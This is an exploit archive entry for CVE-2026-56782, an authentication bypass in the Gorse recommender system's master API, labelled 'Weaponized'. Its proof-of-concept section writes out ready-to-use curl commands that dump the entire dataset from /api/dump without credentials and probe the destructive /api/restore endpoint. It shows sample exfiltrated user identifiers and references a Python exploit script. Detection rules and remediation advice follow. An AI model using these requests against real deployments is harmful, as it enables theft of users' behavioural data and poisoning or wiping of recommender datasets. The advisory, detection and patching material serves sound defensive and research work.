Gorse Unauthenticated Database Dump and Restore via Empty Admin API Key (CVE-2026-56782)
Published: 2026-11-27 • Researcher: Caio Fabrício (BiiTts), independent reproduction; the original CVE credit belongs to the reporter referenced by the advisory
- Severity
- Critical
- CVE
- CVE-2026-56782 (VulnCheck advisory: Gorse unauthenticated database dump and restore)
- Category
- web
- Affected product
- Gorse recommender system, master HTTP service and dashboard (default port 8088)
- Affected versions
- Gorse before 0.5.10; the reproduction lab uses the official zhenghaoz/gorse-in-one:0.5.8 image
- Disclosed
- 2026-11-27
- Patch status
- Patched
Tags
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-56782
- https://github.com/BiiTts/CVE-2026-56782-Gorse-Auth-Bypass
- https://github.com/gorse-io/gorse/commit/19fdcbb309fb5b609e9cc3eb10c74885b5b27da9
- https://github.com/gorse-io/gorse/issues/1292
- https://www.vulncheck.com/advisories/gorse-unauthenticated-database-dump-and-restore-via-api-dump-and-api-restore-endpoints
- https://hub.docker.com/r/zhenghaoz/gorse-in-one
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-11-27 |
| Last Updated | 2026-06-30 (upstream commit 7eca4a8, 2026-06-30 11:04:24 -0300) |
| Author / Researcher | Caio Fabrício (BiiTts), independent reproduction; the original CVE credit belongs to the reporter referenced by the advisory |
| CVE / Advisory | CVE-2026-56782 (VulnCheck advisory: Gorse unauthenticated database dump and restore) |
| Category | web |
| Severity | Critical |
| CVSS Score | 9.8 (CVSSv3.1 per the CVE record: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Status | Weaponized |
| Tags | Gorse, recommender system, authentication bypass, missing authentication, CWE-306, REST API, Go, database dump, data poisoning, unauthenticated |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | Gorse recommender system, master HTTP service and dashboard (default port 8088) |
| Versions Affected | Gorse before 0.5.10; the reproduction lab uses the official zhenghaoz/gorse-in-one:0.5.8 image |
| Language / Platform | Go server with a REST/HTTP API; the PoC is Python 3 standard library only |
| Authentication Required | No. With the default admin_api_key = "", the admin check fails open and ignores the X-API-Key header entirely |
| Network Access Required | Yes, direct TCP access to the master HTTP port (8088 by default), which should never be internet-facing |
Summary
CVE-2026-56782 is an authentication bypass in the Gorse recommender system that exposes its administrative dataset endpoints to anonymous callers. The master server protects /api/dump and /api/restore with an admin check that returns true whenever the admin API key is empty, and the shipped configuration leaves it empty by default. A remote attacker with no credentials can therefore stream the entire dataset, including user identifiers and the full feedback graph, or post a crafted dump to overwrite it. NVD rates the issue 9.8 Critical for confidentiality, integrity and availability.
Vulnerability Details
Root Cause
The master HTTP container registers /api/dump and /api/restore as plain http.HandlerFunc handlers, outside the dashboard’s cookie and session middleware, so each handler is responsible for its own authorization and delegates to checkAdmin(). That function short-circuits before it ever reads the request header:
| |
The shipped config/config.toml sets admin_api_key = "", so on a default deployment the empty-key branch is taken for every request and any X-API-Key value, including none or a bogus one, is accepted. The handlers then call GetUserStream, GetItemStream and GetFeedbackStream to emit the dump, or feed the request body into Restore, without further scoping or confirmation. NVD classifies the flaw as CWE-306, missing authentication for a critical function.
Attack Vector
Two unauthenticated requests against the master port. GET /api/dump with no X-API-Key header returns the whole dataset as a binary stream. POST /api/restore with any body, even a single EOF marker, is accepted and overwrites the dataset; a successful status other than 401 proves the bypass. No session, cookie, CSRF token or dashboard login is involved.
Impact
Full confidentiality loss: the dump exposes every user identifier and label, every item, and the entire feedback graph, which for a production recommender is bulk behavioural and personally identifiable data. Integrity and availability loss through /api/restore, which lets an attacker silently replace or destroy the dataset and thereby poison every recommendation the service produces. Because the master port also serves the dashboard, an exposed instance is typically reachable from the same network position as the operator console.
Environment / Lab Setup
OS: Linux host with Docker (the lab compose file uses host networking)
Target: Gorse 0.5.8 - zhenghaoz/gorse-in-one:0.5.8, master HTTP on 127.0.0.1:8088
Attacker: Same host or any host that can reach port 8088; Python 3.8+ (stdlib only)
Tools: docker compose, python3; curl or netcat for manual verificationSetup Steps
| |
The lab compose file uses host networking because the upstream author’s environment lacked a usable Docker bridge; adjust it if port 8088 is already in use. No exploit code was executed while preparing this entry.
Proof of Concept
Step-by-Step Reproduction
Read the dataset without credentials - A bare GET is enough; no X-API-Key header is sent.
Shell script1 2curl -s -o dump.bin -D - http://127.0.0.1:8088/api/dump # expect HTTP 200 and Content-Type: application/octet-streamConfirm the key is ignored - A deliberately wrong header still succeeds, proving the fail-open branch rather than a key match.
Shell script1curl -s -o /dev/null -w '%{http_code}\n' -H 'X-API-Key: definitely-wrong' http://127.0.0.1:8088/api/dumpProbe the write path - POST an EOF-only dump body and look for anything other than 401.
Shell script1 2printf '\x00\x00\x00\x00\x00\x00\x00\x00' | curl -s -o /dev/null -w '%{http_code}\n' \ --data-binary @- -H 'Content-Type: application/octet-stream' http://127.0.0.1:8088/api/restoreParse the dump - The PoC walks the int64 little-endian section markers and length-prefixed protobuf records to count users, items and feedback and to sample identifiers.
Shell script1python3 exploit.py http://127.0.0.1:8088 -o dump.bin
Exploit Code
See
exploit.pyin this folder.
| |
The stream layout is a sequence of int64 markers (-1 users, -2 items, -3 feedback, 0 EOF) with each record prefixed by its protobuf length, so the PoC can count exfiltrated rows and pull field 1 (the UserId or ItemId string) from the first few records as evidence.
Expected Output
[*] GET http://127.0.0.1:8088/api/dump (no X-API-Key header)
[*] HTTP 200 content-type: application/octet-stream
[+] UNAUTHENTICATED DATA EXFILTRATION CONFIRMED
users : 2079
items : 22320
feedback : 331901
payload : 262747105 protobuf bytes
sample user ids : 0-vortex, 0markill, 0q2, 0x4richard, 0x973
[*] POST http://127.0.0.1:8088/api/restore (no X-API-Key header, EOF-only body)
[+] HTTP 200 (not 401) - checkAdmin bypassed: /api/restore is writable unauthenticated.The counts match the --playground seed dataset in the lab; against a real deployment the byte volume is proportional to the stored history.
Detection & Indicators of Compromise
GET /api/dump HTTP/1.1
Host: gorse-master:8088
POST /api/restore HTTP/1.1
Host: gorse-master:8088
Content-Type: application/octet-stream
Content-Length: <size>SIEM / IDS Rule (example):
alert http any any -> any any (msg:"CVE-2026-56782 Gorse unauth /api/dump or /api/restore"; flow:to_server,established; content:"/api/"; http_uri; content:"dump"; http_uri; reference:cve,2026-56782; sid:9000567;)Remediation
| Action | Detail |
|---|---|
| Patch | Upgrade to Gorse 0.5.10 or later, where the empty admin_api_key no longer grants access and both endpoints reject unauthenticated callers with HTTP 401. |
| Workaround | On affected versions set a strong admin_api_key and dashboard credentials, terminate TLS in front of the master, and keep port 8088 off untrusted networks. |
| Config Hardening | Treat the master port as an internal control plane, restrict it with network policy or a reverse proxy allowlist, rotate the admin key after any suspected exposure, and review stored data for tampering if /api/restore was reachable. |
References
Notes
Auto-prepared on 2026-11-27 from https://github.com/BiiTts/CVE-2026-56782-Gorse-Auth-Bypass (1 star, pushed 2026-06-30, Python).
Review verdict: ingested. The repository is a verified end-to-end reproduction, not a scanner: it performs the unauthenticated GET against the real /api/dump endpoint, parses the actual binary dump format to count exfiltrated records, and probes /api/restore to demonstrate the write path with a 401-versus-200 discriminator. The bundled ANALYSIS.md quotes the vulnerable checkAdmin() logic and the dump stream grammar, and the lab compose file pins the vulnerable 0.5.8 image. It contains no C2, persistence, evasion, credential-stealing, mining or bot functionality and no destructive payload (the restore probe posts only an EOF marker).
License: MIT, Copyright (c) 2026 Caio Fabrício (BiiTts). The LICENSE file is included; the exploit is copied verbatim except for the two-line archive header.
Limitations: the dump parser assumes the int64 little-endian marker layout documented in ANALYSIS.md and will miscount if the format changes between versions; a real dump can be very large (hundreds of megabytes), so -o should point at a volume with space; the restore probe sends a no-op EOF body and therefore demonstrates reachability rather than actual data replacement; the lab compose file uses host networking and requires port 8088 to be free; the vulnerability only exists when admin_api_key is empty, so a hardened deployment will return 401 and the PoC will correctly report a patched or configured target. No exploit code was executed during preparation of this entry.
| |